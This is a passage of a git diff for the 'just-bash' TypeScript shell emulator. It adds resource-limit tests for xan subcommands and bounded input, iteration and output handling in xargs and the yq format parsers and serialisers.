+    const result = await bash.exec("xan map 'value as copy' /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan: output size limit exceeded");
+  });
+
+  it("accepts large unquoted cells based on exact output size", async () => {
+    const value = "x".repeat(60);
+    const bash = new Bash({
+      files: { "/data.csv": `value\n${value}\n` },
+      executionLimits: { maxOutputSize: 100 },
+    });
+
+    const result = await bash.exec("xan transform value _ /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe(`value\n${value}\n`);
+  });
+
+  it("bounds multi-column frequency --all derived rows", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a,b\na1,b1\na2,b2\na3,b3\n" },
+      executionLimits: { maxCsvRows: 5 },
+    });
+
+    const result = await bash.exec("xan frequency -A /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan frequency: derived CSV result limit");
+  });
+
+  it("preserves complete multi-column frequency --all output", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a,b\nx,1\ny,1\nx,2\n,z\n" },
+    });
+
+    const result = await bash.exec("xan frequency -A --no-extra /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe(
+      "field,value,count\na,x,2\na,y,1\nb,1,2\nb,2,1\nb,z,1\n",
+    );
+  });
+
+  it("preserves grouped frequency --all across many selected columns", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "g,a,b\nu,x,p\nu,y,q\nv,x,p\n" },
+    });
+
+    const result = await bash.exec("xan frequency -A -g g -s a,b /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe(
+      "field,g,value,count\na,u,x,1\na,u,y,1\na,v,x,1\nb,u,p,1\nb,u,q,1\nb,v,p,1\n",
+    );
+  });
+
+  it("charges groupby aggregation specs against shared work", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "g,v\na,1\nb,2\nc,3\n" },
+      executionLimits: { maxWorkUnits: 25 },
+    });
+
+    const result = await bash.exec(
+      "xan groupby g 'sum(v) as s, max(v) as m, min(v) as n' /data.csv",
+    );
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan groupby");
+  });
+
+  it("preserves many aggregations under the liberal default budget", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "g,v\na,1\na,3\nb,2\n" },
+    });
+
+    const result = await bash.exec(
+      "xan groupby g 'count() as n, sum(v) as s, mean(v) as avg, min(v) as lo, max(v) as hi, first(v) as fst, last(v) as lst, median(v) as med, mode(v) as mode, cardinality(v) as card, values(v) as vals, distinct_values(v) as uniq' /data.csv",
+    );
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe(
+      "g,n,s,avg,lo,hi,fst,lst,med,mode,card,vals,uniq\na,2,4,2,1,3,1,3,2,1,2,1|3,1|3\nb,1,2,2,2,2,2,2,2,2,1,2,2\n",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/xan/xan.data.test.ts b/packages/just-bash/src/commands/xan/xan.data.test.ts
index f7b508f2..69a2a9f3 100644
--- a/packages/just-bash/src/commands/xan/xan.data.test.ts
+++ b/packages/just-bash/src/commands/xan/xan.data.test.ts
@@ -82,6 +82,15 @@ describe("xan from json", () => {
 });
 
 describe("xan transpose", () => {
+  it("rejects duplicate derived headers instead of overwriting cells", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "name,value\nduplicate,1\nduplicate,2\n" },
+    });
+    const result = await bash.exec("xan transpose /data.csv");
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("duplicate output headers");
+  });
+
   it("transposes rows and columns", async () => {
     const bash = new Bash({
       files: {
@@ -199,6 +208,45 @@ describe("xan split", () => {
     expect(result.exitCode).toBe(1);
     expect(result.stderr).toBe("xan split: must specify -c or -S\n");
   });
+
+  it.each([
+    "-1",
+    "0",
+    "Infinity",
+    "1.5",
+    "1x",
+    "9007199254740992",
+  ])("rejects invalid chunk size %s before entering the split loop", async (size) => {
+    const bash = new Bash({
+      files: { "/data.csv": "n\n1\n2\n" },
+    });
+
+    const result = await bash.exec(`xan split -S ${size} /data.csv`);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("positive safe integer");
+  });
+
+  it("rejects invalid chunk counts", async () => {
+    const bash = new Bash({ files: { "/data.csv": "n\n1\n" } });
+
+    const result = await bash.exec("xan split -c -1 /data.csv");
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("positive safe integer");
+  });
+
+  it("charges aggregate row work while producing chunks", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": `n\n${"1\n".repeat(20)}` },
+      executionLimits: { maxWorkUnits: 10 },
+    });
+
+    const result = await bash.exec("xan split -S 2 /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan split rows: work work limit exceeded");
+  });
 });
 
 describe("xan partition", () => {
diff --git a/packages/just-bash/src/commands/xan/xan.groupby.test.ts b/packages/just-bash/src/commands/xan/xan.groupby.test.ts
index 1b6ac4e3..27b9aecc 100644
--- a/packages/just-bash/src/commands/xan/xan.groupby.test.ts
+++ b/packages/just-bash/src/commands/xan/xan.groupby.test.ts
@@ -7,6 +7,18 @@ import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 
 describe("xan groupby", () => {
+  it("does not collide tuples containing NUL characters", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a,b,n\nx\u0000y,z,1\nx,y\u0000z,2\n" },
+    });
+    const result = await bash.exec(
+      "xan groupby a,b 'count() as count' /data.csv",
+    );
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout.split("\n").filter(Boolean)).toHaveLength(3);
+    expect(result.stdout.match(/,1\n/g)).toHaveLength(2);
+  });
+
   const DATA =
     "id,value_A,value_B,value_C\nx,1,2,3\ny,2,3,4\nz,3,4,5\ny,1,2,3\nz,2,3,5\nz,3,6,7\n";
 
diff --git a/packages/just-bash/src/commands/xan/xan.reshape.test.ts b/packages/just-bash/src/commands/xan/xan.reshape.test.ts
index bf7d3ec9..e4bd03a9 100644
--- a/packages/just-bash/src/commands/xan/xan.reshape.test.ts
+++ b/packages/just-bash/src/commands/xan/xan.reshape.test.ts
@@ -63,6 +63,15 @@ describe("xan explode", () => {
 });
 
 describe("xan implode", () => {
+  it("does not merge distinct NUL-containing key tuples", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a,b,tag\nx\u0000y,z,one\nx,y\u0000z,two\n" },
+    });
+    const result = await bash.exec("xan implode tag /data.csv");
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout.split("\n").filter(Boolean)).toHaveLength(3);
+  });
+
   it("combines consecutive rows with same key", async () => {
     const bash = new Bash({
       files: { "/data.csv": "id,tag\n1,a\n1,b\n1,c\n2,x\n2,y\n" },
@@ -102,6 +111,17 @@ describe("xan implode", () => {
 });
 
 describe("xan pivot", () => {
+  it("rejects pivot values that collide with group-column headers", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "region,key,value\nwest,region,1\n" },
+    });
+    const result = await bash.exec(
+      "xan pivot key 'sum(value)' -g region /data.csv",
+    );
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("duplicate output header 'region'");
+  });
+
   it("pivots data with count aggregation", async () => {
     const bash = new Bash({
       files: {
diff --git a/packages/just-bash/src/commands/xan/xan.stats.security.test.ts b/packages/just-bash/src/commands/xan/xan.stats.security.test.ts
new file mode 100644
index 00000000..f450a24c
--- /dev/null
+++ b/packages/just-bash/src/commands/xan/xan.stats.security.test.ts
@@ -0,0 +1,49 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+
+describe("xan stats resource safety", () => {
+  it("reduces columns larger than the engine argument limit without spreading", async () => {
+    const rowCount = 150_000;
+    const fs = new InMemoryFs({
+      "/data.csv": `value\n${"1\n".repeat(rowCount)}`,
+    });
+    const bash = new Bash({ fs });
+
+    const result = await bash.exec("xan stats /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe(
+      `field,type,count,min,max,mean\nvalue,Number,${rowCount},1,1,1\n`,
+    );
+  });
+
+  it("charges synchronous row work before processing the next value", async () => {
+    const fs = new InMemoryFs({
+      "/data.csv": `value\n${"1\n".repeat(20)}`,
+    });
+    const bash = new Bash({
+      fs,
+      executionLimits: { maxWorkUnits: 10 },
+    });
+
+    const result = await bash.exec("xan stats /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan stats rows: work work limit exceeded");
+  });
+
+  it("preserves mixed and empty-column semantics", async () => {
+    const fs = new InMemoryFs({
+      "/mixed.csv": "value,empty\n1,\nword,\n2,\n",
+    });
+    const bash = new Bash({ fs });
+
+    const result = await bash.exec("xan stats /mixed.csv");
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe(
+      "field,type,count,min,max,mean\nvalue,String,3,,,\nempty,String,0,,,\n",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/xan/xan.ts b/packages/just-bash/src/commands/xan/xan.ts
index 2d259012..86d0a573 100644
--- a/packages/just-bash/src/commands/xan/xan.ts
+++ b/packages/just-bash/src/commands/xan/xan.ts
@@ -5,7 +5,11 @@
  * and using the shared query engine. Inspired by xsv and xan tools.
  */
 
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 import {
   cmdAgg,
@@ -292,10 +296,13 @@ const subHelps: Record<
   },
 };
 
-export const xanCommand: Command = {
+export const xanCommand: RuntimeCommand = {
   name: "xan",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (args.length === 0 || hasHelpFlag(args)) {
       return showHelp(xanHelp);
     }
diff --git a/packages/just-bash/src/commands/xargs/xargs.ts b/packages/just-bash/src/commands/xargs/xargs.ts
index f880867e..e5b9828f 100644
--- a/packages/just-bash/src/commands/xargs/xargs.ts
+++ b/packages/just-bash/src/commands/xargs/xargs.ts
@@ -1,7 +1,15 @@
 import { decodeBytesToUtf8 } from "../../encoding.js";
+import { ExecutionOutputAccumulator } from "../../execution-output.js";
+import type { ExecutionScope } from "../../execution-scope.js";
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 
 const xargsHelp = {
   name: "xargs",
@@ -19,10 +27,61 @@ const xargsHelp = {
   ],
 };
 
-export const xargsCommand: Command = {
+function splitExactBounded(
+  input: string,
+  delimiter: string,
+  maxItems: number,
+): string[] {
+  if (delimiter.length === 0) {
+    throw new Error("xargs: delimiter must not be empty");
+  }
+  const items: string[] = [];
+  let start = 0;
+  while (start <= input.length) {
+    const end = input.indexOf(delimiter, start);
+    const item = input.slice(start, end === -1 ? input.length : end);
+    if (item.length > 0) {
+      if (items.length >= maxItems) {
+        throw new ExecutionLimitError(
+          `xargs: array element limit exceeded (${maxItems})`,
+          "array_elements",
+        );
+      }
+      items.push(item);
+    }
+    if (end === -1) break;
+    start = end + delimiter.length;
+  }
+  return items;
+}
+
+function splitWhitespaceBounded(input: string, maxItems: number): string[] {
+  const items: string[] = [];
+  let start = -1;
+  for (let i = 0; i <= input.length; i++) {
+    const isWhitespace = i === input.length || /\s/.test(input[i]);
+    if (!isWhitespace && start === -1) start = i;
+    if (isWhitespace && start !== -1) {
+      if (items.length >= maxItems) {
+        throw new ExecutionLimitError(
+          `xargs: array element limit exceeded (${maxItems})`,
+          "array_elements",
+        );
+      }
+      items.push(input.slice(start, i));
+      start = -1;
+    }
+  }
+  return items;
+}
+
+export const xargsCommand: RuntimeCommand = {
   name: "xargs",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(xargsHelp);
     }
@@ -53,10 +112,32 @@ export const xargsCommand: Command = {
           .replace(/\\\\/g, "\\");
         commandStart = i + 1;
       } else if (arg === "-n" && i + 1 < args.length) {
-        maxArgs = parseInt(args[++i], 10);
+        const value = args[++i];
+        const parsedNumber = Number(value);
+        if (
+          !/^\d+$/.test(value) ||
+          !Number.isSafeInteger(parsedNumber) ||
+          parsedNumber < 1
+        ) {
+          return {
+            stdout: "",
+            stderr: `xargs: invalid number for -n: '${value}'\n`,
+            exitCode: 1,
+          };
+        }
+        maxArgs = parsedNumber;
         commandStart = i + 1;
       } else if (arg === "-P" && i + 1 < args.length) {
-        maxProcs = parseInt(args[++i], 10);
+        const value = args[++i];
+        const parsedNumber = Number(value);
+        if (!/^\d+$/.test(value) || !Number.isSafeInteger(parsedNumber)) {
+          return {
+            stdout: "",
+            stderr: `xargs: invalid number for -P: '${value}'\n`,
+            exitCode: 1,
+          };
+        }
+        maxProcs = parsedNumber;
         commandStart = i + 1;
       } else if (arg === "-0" || arg === "--null") {
         nullSeparator = true;
@@ -98,20 +179,45 @@ export const xargsCommand: Command = {
     // single-byte delim) all live in the ASCII range, but the args produced
     // are passed onward as text — decode so multibyte filenames survive.
     const stdinText = decodeBytesToUtf8(ctx.stdin);
+    const maxStringLength = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
+    const maxArrayElements = ctx.limits.maxArrayElements;
+    const maxIterations = ctx.limits.maxLoopIterations;
+    const maxOutputSize = ctx.limits.maxOutputSize;
+    if (utf8ByteLength(stdinText) > maxStringLength) {
+      throw new ExecutionLimitError(
+        `xargs: input size limit exceeded (${maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    if (maxProcs !== null && maxProcs > maxArrayElements) {
+      throw new ExecutionLimitError(
+        `xargs: array element limit exceeded (${maxArrayElements})`,
+        "array_elements",
+      );
+    }
     let items: string[];
     if (nullSeparator) {
-      items = stdinText.split("\0").filter((s) => s.length > 0);
+      items = splitExactBounded(stdinText, "\0", maxArrayElements);
     } else if (delimiter !== null) {
       // Custom delimiter - split on exact string
       // Strip trailing newline from input before splitting (echo adds trailing newlines)
       const input = stdinText.replace(/\n$/, "");
-      items = input.split(delimiter).filter((s) => s.length > 0);
+      try {
+        items = splitExactBounded(input, delimiter, maxArrayElements);
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
+        return {
+          stdout: "",
+          stderr: "xargs: delimiter must not be empty\n",
+          exitCode: 1,
+        };
+      }
     } else {
       // Default: split on whitespace and trim
-      items = stdinText
-        .split(/\s+/)
-        .map((s) => s.trim())
-        .filter((s) => s.length > 0);
+      items = splitWhitespaceBounded(stdinText, maxArrayElements);
     }
 
     if (items.length === 0) {
@@ -124,9 +230,49 @@ export const xargsCommand: Command = {
     }
 
     // Execute commands
-    let stdout = "";
-    let stderr = "";
+    const stdoutChunks: string[] = [];
+    const stderrChunks: string[] = [];
     let exitCode = 0;
+    let outputBytes = 0;
+    let commandIterations = 0;
+    const output = ctx.executionScope
+      ? new ExecutionOutputAccumulator(
+          ctx.executionScope as ExecutionScope,
+          "xargs",
+        )
+      : undefined;
+    const appendOutput = (result: ExecResult): void => {
+      if (output) {
+        output.appendResult(result);
+        return;
+      }
+      const addedBytes =
+        utf8ByteLength(result.stdout) + utf8ByteLength(result.stderr);
+      if (addedBytes > maxOutputSize - outputBytes) {
+        throw new ExecutionLimitError(
+          `xargs: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
+      if (result.stdout) stdoutChunks.push(result.stdout);
+      if (result.stderr) stderrChunks.push(result.stderr);
+      outputBytes += addedBytes;
+    };
+    const appendStderr = (value: string): void => {
+      if (output) {
+        output.append("stderr", value);
+        return;
+      }
+      const addedBytes = utf8ByteLength(value);
+      if (addedBytes > maxOutputSize - outputBytes) {
+        throw new ExecutionLimitError(
+          `xargs: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
+      if (value) stderrChunks.push(value);
+      outputBytes += addedBytes;
+    };
 
     // Helper to quote an argument if it contains special characters
     const quoteArg = (arg: string): string => {
@@ -142,9 +288,29 @@ export const xargsCommand: Command = {
 
     // Helper to execute a single command via the shell
     const executeCommand = async (cmdArgs: string[]): Promise<ExecResult> => {
+      if (++commandIterations > maxIterations) {
+        throw new ExecutionLimitError(
+          `xargs: iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+      if (cmdArgs.length > maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xargs: array element limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      for (const value of cmdArgs) {
+        if (utf8ByteLength(value) > maxStringLength) {
+          throw new ExecutionLimitError(
+            `xargs: string length limit exceeded (${maxStringLength} bytes)`,
+            "string_length",
+          );
+        }
+      }
       if (verbose) {
         const cmdLine = cmdArgs.map(quoteArg).join(" ");
-        stderr += `${cmdLine}\n`;
+        appendStderr(`${cmdLine}\n`);
       }
       // Use ctx.exec to run the command, passing current working directory
       if (ctx.exec) {
@@ -167,8 +333,7 @@ export const xargsCommand: Command = {
           const batch = cmdArgsList.slice(i, i + maxProcs);
           const results = await Promise.all(batch.map(executeCommand));
           for (const result of results) {
-            stdout += result.stdout;
-            stderr += result.stderr;
+            appendOutput(result);
             if (result.exitCode !== 0) {
               exitCode = result.exitCode;
             }
@@ -178,8 +343,7 @@ export const xargsCommand: Command = {
         // Sequential execution
         for (const cmdArgs of cmdArgsList) {
           const result = await executeCommand(cmdArgs);
-          stdout += result.stdout;
-          stderr += result.stderr;
+          appendOutput(result);
           if (result.exitCode !== 0) {
             exitCode = result.exitCode;
           }
@@ -189,13 +353,69 @@ export const xargsCommand: Command = {
 
     if (replaceStr !== null) {
       // -I mode: run command once per item, replacing replaceStr in each argument
+      if (items.length > maxIterations) {
+        throw new ExecutionLimitError(
+          `xargs: iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+      if (replaceStr.length === 0) {
+        return {
+          stdout: "",
+          stderr: "xargs: replacement string must not be empty\n",
+          exitCode: 1,
+        };
+      }
+      if (
+        command.length > 0 &&
+        items.length > Math.floor(maxArrayElements / command.length)
+      ) {
+        throw new ExecutionLimitError(
+          `xargs: array element limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      const replaceBounded = (template: string, item: string): string => {
+        let occurrences = 0;
+        let position = 0;
+        while (true) {
+          position = template.indexOf(replaceStr, position);
+          if (position === -1) break;
+          occurrences++;
+          position += replaceStr.length;
+        }
+        const prospectiveBytes =
+          utf8ByteLength(template) +
+          occurrences * (utf8ByteLength(item) - utf8ByteLength(replaceStr));
+        if (prospectiveBytes > maxStringLength) {
+          throw new ExecutionLimitError(
+            `xargs: string length limit exceeded (${maxStringLength} bytes)`,
+            "string_length",
+          );
+        }
+        return template.replaceAll(replaceStr, item);
+      };
       const cmdArgsList = items.map((item) =>
-        command.map((c) => c.replaceAll(replaceStr, item)),
+        command.map((c) => replaceBounded(c, item)),
       );
       await runCommands(cmdArgsList);
     } else if (maxArgs !== null) {
       // -n mode: batch items
       const cmdArgsList: string[][] = [];
+      const batchCount = Math.ceil(items.length / maxArgs);
+      if (batchCount > Math.min(maxArrayElements, maxIterations)) {
+        throw new ExecutionLimitError(
+          `xargs: iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+      const prospectiveElements = items.length + batchCount * command.length;
+      if (prospectiveElements > maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xargs: array element limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
       for (let i = 0; i < items.length; i += maxArgs) {
         const batch = items.slice(i, i + maxArgs);
         cmdArgsList.push([...command, ...batch]);
@@ -205,12 +425,17 @@ export const xargsCommand: Command = {
       // Default: all items on one line
       const cmdArgs = [...command, ...items];
       const result = await executeCommand(cmdArgs);
-      stdout += result.stdout;
-      stderr += result.stderr;
+      appendOutput(result);
       exitCode = result.exitCode;
     }
 
-    return { stdout, stderr, exitCode };
+    return (
+      output?.build(exitCode) ?? {
+        stdout: stdoutChunks.join(""),
+        stderr: stderrChunks.join(""),
+        exitCode,
+      }
+    );
   },
 };
 
diff --git a/packages/just-bash/src/commands/yq/formats.ts b/packages/just-bash/src/commands/yq/formats.ts
index 982ecd7d..ccc163bf 100644
--- a/packages/just-bash/src/commands/yq/formats.ts
+++ b/packages/just-bash/src/commands/yq/formats.ts
@@ -9,8 +9,15 @@ import * as ini from "ini";
 import Papa from "papaparse";
 import * as TOML from "smol-toml";
 import YAML from "yaml";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import type { QueryValue } from "../query-engine/index.js";
-import { sanitizeParsedData } from "../query-engine/safe-object.js";
+import { formatJsonValue } from "../query-engine/json-output.js";
+import {
+  type SanitizeParsedDataLimits,
+  sanitizeParsedData,
+} from "../query-engine/safe-object.js";
 
 export type InputFormat = "yaml" | "xml" | "json" | "ini" | "csv" | "toml";
 export type OutputFormat = "yaml" | "json" | "xml" | "ini" | "csv" | "toml";
@@ -159,21 +166,27 @@ function formatCsv(value: unknown, delimiter: string): string {
 /**
  * Parse input data from the given format into a QueryValue
  */
-export function parseInput(input: string, options: FormatOptions): QueryValue {
+export function parseInput(
+  input: string,
+  options: FormatOptions,
+  limits: SanitizeParsedDataLimits = {},
+): QueryValue {
   const trimmed = input.trim();
   if (!trimmed) return null;
+  const sanitize = (value: unknown): QueryValue =>
+    sanitizeParsedData(value, limits);
 
   switch (options.inputFormat) {
     case "yaml":
       // SECURITY: maxAliasCount limits YAML alias expansion (billion-laughs defense).
       // Default schema is 'core' which does NOT resolve !!js/function or other
       // code-execution tags (those are only in 'yaml-1.1' schema).
-      return sanitizeParsedData(YAML.parse(trimmed, { maxAliasCount: 100 }));
+      return sanitize(YAML.parse(trimmed, { maxAliasCount: 100 }));
 
     case "json":
       // SECURITY: JSON.parse returns plain objects — sanitizeParsedData converts
       // them to null-prototype objects at the boundary.
-      return sanitizeParsedData(JSON.parse(trimmed));
+      return sanitize(JSON.parse(trimmed));
 
     case "xml": {
       const parser = new XMLParser({
@@ -190,22 +203,22 @@ export function parseInput(input: string, options: FormatOptions): QueryValue {
         // Transform empty tags to null to match real yq
         tagValueProcessor: (_name, val) => (val === "" ? null : val),
       });
-      return sanitizeParsedData(parser.parse(trimmed));
+      return sanitize(parser.parse(trimmed));
     }
 
     case "ini":
       // SECURITY: sanitizeParsedData converts to null-prototype objects at boundary.
-      return sanitizeParsedData(ini.parse(trimmed));
+      return sanitize(ini.parse(trimmed));
 
     case "csv":
       // SECURITY: sanitizeParsedData converts to null-prototype objects at boundary.
-      return sanitizeParsedData(
+      return sanitize(
         parseCsv(trimmed, options.csvDelimiter, options.csvHeader),
       );
 
     case "toml":
       // SECURITY: sanitizeParsedData converts to null-prototype objects at boundary.
-      return sanitizeParsedData(TOML.parse(trimmed)) as QueryValue;
+      return sanitize(TOML.parse(trimmed));
 
     default: {
       const _exhaustive: never = options.inputFormat;
@@ -217,11 +230,56 @@ export function parseInput(input: string, options: FormatOptions): QueryValue {
 /**
  * Parse all YAML documents from input (for slurp mode)
  */
-export function parseAllYamlDocuments(input: string): QueryValue[] {
+export function parseAllYamlDocuments(
+  input: string,
+  limits: SanitizeParsedDataLimits = {},
+): QueryValue[] {
+  const maxDocuments = limits.maxElements ?? 1_000_000;
+  let documents = input.trim() ? 1 : 0;
+  let lineStart = 0;
+  while (lineStart < input.length) {
+    const lineEnd = input.indexOf("\n", lineStart);
+    const markerEnd = lineStart + 3;
+    const next = input[markerEnd];
+    if (
+      lineStart > 0 &&
+      input.startsWith("---", lineStart) &&
+      (next === undefined ||
+        next === "\n" ||
+        next === "\r" ||
+        next === " " ||
+        next === "\t" ||
+        next === "#")
+    ) {
+      documents++;
+      if (documents > maxDocuments) {
+        throw new ExecutionLimitError(
+          `query input document limit exceeded (${maxDocuments})`,
+          "array_elements",
+        );
+      }
+    }
+    if (lineEnd === -1) break;
+    lineStart = lineEnd + 1;
+  }
   const docs = YAML.parseAllDocuments(input);
-  return docs.map((doc) =>
-    sanitizeParsedData(doc.toJS({ maxAliasCount: 100 })),
-  );
+  if (docs.length > maxDocuments) {
+    throw new ExecutionLimitError(
+      `query input document limit exceeded (${maxDocuments})`,
+      "array_elements",
+    );
+  }
+  const elementBudget = { used: docs.length };
+  const values: QueryValue[] = [];
+  for (const doc of docs) {
+    values.push(
+      sanitizeParsedData(doc.toJS({ maxAliasCount: 100 }), {
+        ...limits,
+        elementBudget,
+      }) as QueryValue,
+    );
+  }
+  return values;
 }
 
 /**
@@ -231,6 +289,7 @@ export function parseAllYamlDocuments(input: string): QueryValue[] {
  */
 export function extractFrontMatter(
   input: string,
+  limits: SanitizeParsedDataLimits = {},
 ): { frontMatter: QueryValue; content: string } | null {
   const trimmed = input.trimStart();
 
@@ -243,6 +302,7 @@ export function extractFrontMatter(
       return {
         frontMatter: sanitizeParsedData(
           YAML.parse(yamlContent, { maxAliasCount: 100 }),
+          limits,
         ),
         content: remaining,
       };
@@ -256,7 +316,10 @@ export function extractFrontMatter(
       const tomlContent = trimmed.slice(3, endMatch.index + 3);
       const remaining = trimmed.slice(endMatch.index + 3 + endMatch[0].length);
       return {
-        frontMatter: sanitizeParsedData(TOML.parse(tomlContent)) as QueryValue,
+        frontMatter: sanitizeParsedData(
+          TOML.parse(tomlContent),
+          limits,
+        ) as QueryValue,
         content: remaining,
       };
     }
@@ -269,7 +332,7 @@ export function extractFrontMatter(
       const jsonContent = trimmed.slice(3, endMatch.index + 3);
       const remaining = trimmed.slice(endMatch.index + 3 + endMatch[0].length);
       return {
-        frontMatter: sanitizeParsedData(JSON.parse(jsonContent)),
+        frontMatter: sanitizeParsedData(JSON.parse(jsonContent), limits),
         content: remaining,
       };
     }
@@ -284,23 +347,27 @@ export function extractFrontMatter(
 export function formatOutput(
   value: QueryValue,
   options: FormatOptions,
+  maxBytes: number = Number.MAX_SAFE_INTEGER,
 ): string {
   if (value === undefined) return "";
 
+  if (options.outputFormat !== "json") {
+    assertExternalSerializationFits(value, options, maxBytes);
+  }
+  let serialized: string;
   switch (options.outputFormat) {
     case "yaml":
-      return YAML.stringify(value, {
+      serialized = YAML.stringify(value, {
         indent: options.indent,
       }).trimEnd();
+      break;
 
     case "json": {
-      if (options.raw && typeof value === "string") {
-        return value;
-      }
-      if (options.compact) {
-        return JSON.stringify(value);
-      }
-      return JSON.stringify(value, null, options.indent);
+      return formatJsonValue(value, maxBytes, {
+        compact: options.compact,
+        raw: options.raw,
+        indent: options.indent,
+      });
     }
 
     case "xml": {
@@ -311,27 +378,131 @@ export function formatOutput(
         format: options.prettyPrint || !options.compact,
         indentBy: " ".repeat(options.indent),
       });
-      return builder.build(value);
+      serialized = builder.build(value);
+      break;
     }
 
     case "ini": {
       if (!value || typeof value !== "object" || Array.isArray(value)) {
-        return "";
+        serialized = "";
+        break;
       }
-      return ini.stringify(value as Record<string, unknown>);
+      serialized = ini.stringify(value as Record<string, unknown>);
+      break;
     }
 
     case "csv":
-      return formatCsv(value, options.csvDelimiter);
+      serialized = formatCsv(value, options.csvDelimiter);
+      break;
 
     case "toml": {
       if (!value || typeof value !== "object" || Array.isArray(value)) {
-        return "";
+        serialized = "";
+        break;
       }
-      return TOML.stringify(value as Record<string, unknown>);
+      serialized = TOML.stringify(value as Record<string, unknown>);
+      break;
     }
 
     default:
       throw new Error(`Unknown output format: ${options.outputFormat}`);
   }
+  const bounded = new BoundedStringBuilder(
+    maxBytes,
+    "yq output",
+    () =>
+      new ExecutionLimitError(
+        `output size limit exceeded (${maxBytes} bytes)`,
+        "output_size",
+      ),
+  );
+  return bounded.append(serialized).build();
+}
+
+/**
+ * External format libraries construct their result eagerly. Prove a deliberately
+ * conservative expansion bound before invoking them so a tiny configured output
+ * limit cannot still permit a large temporary serialization.
+ */
+function assertExternalSerializationFits(
+  value: QueryValue,
+  options: FormatOptions,
+  maxBytes: number,
+): void {
+  const escapeFactor =
+    options.outputFormat === "yaml" || options.outputFormat === "toml" ? 6 : 2;
+  const active = new WeakSet<object>();
+  type Frame =
+    | { kind: "exit"; value: object }
+    | { kind: "value"; value: unknown; depth: number; labelBytes: number };
+  const pending: Frame[] = [{ kind: "value", value, depth: 0, labelBytes: 0 }];
+  let estimated = 0;
+  const add = (bytes: number): void => {
+    if (
+      !Number.isSafeInteger(bytes) ||
+      bytes < 0 ||
+      bytes > maxBytes - estimated
+    ) {
+      throw new ExecutionLimitError(
+        `output size limit exceeded (${maxBytes} bytes)`,
+        "output_size",
+      );
+    }
+    estimated += bytes;
+  };
+
+  while (pending.length > 0) {
+    const frame = pending.pop();
+    if (!frame) break;
+    if (frame.kind === "exit") {
+      active.delete(frame.value);
+      continue;
+    }
+    const { value: current, depth, labelBytes } = frame;
+    if (typeof current === "string") {
+      add(labelBytes + depth * options.indent);
+      add(utf8ByteLength(current) * (depth === 0 ? 1 : escapeFactor));
+      continue;
+    }
+    if (current === null || typeof current !== "object") {
+      add(
+        labelBytes + depth * options.indent + utf8ByteLength(String(current)),
+      );
+      continue;
+    }
+    add(32 + labelBytes + depth * options.indent);
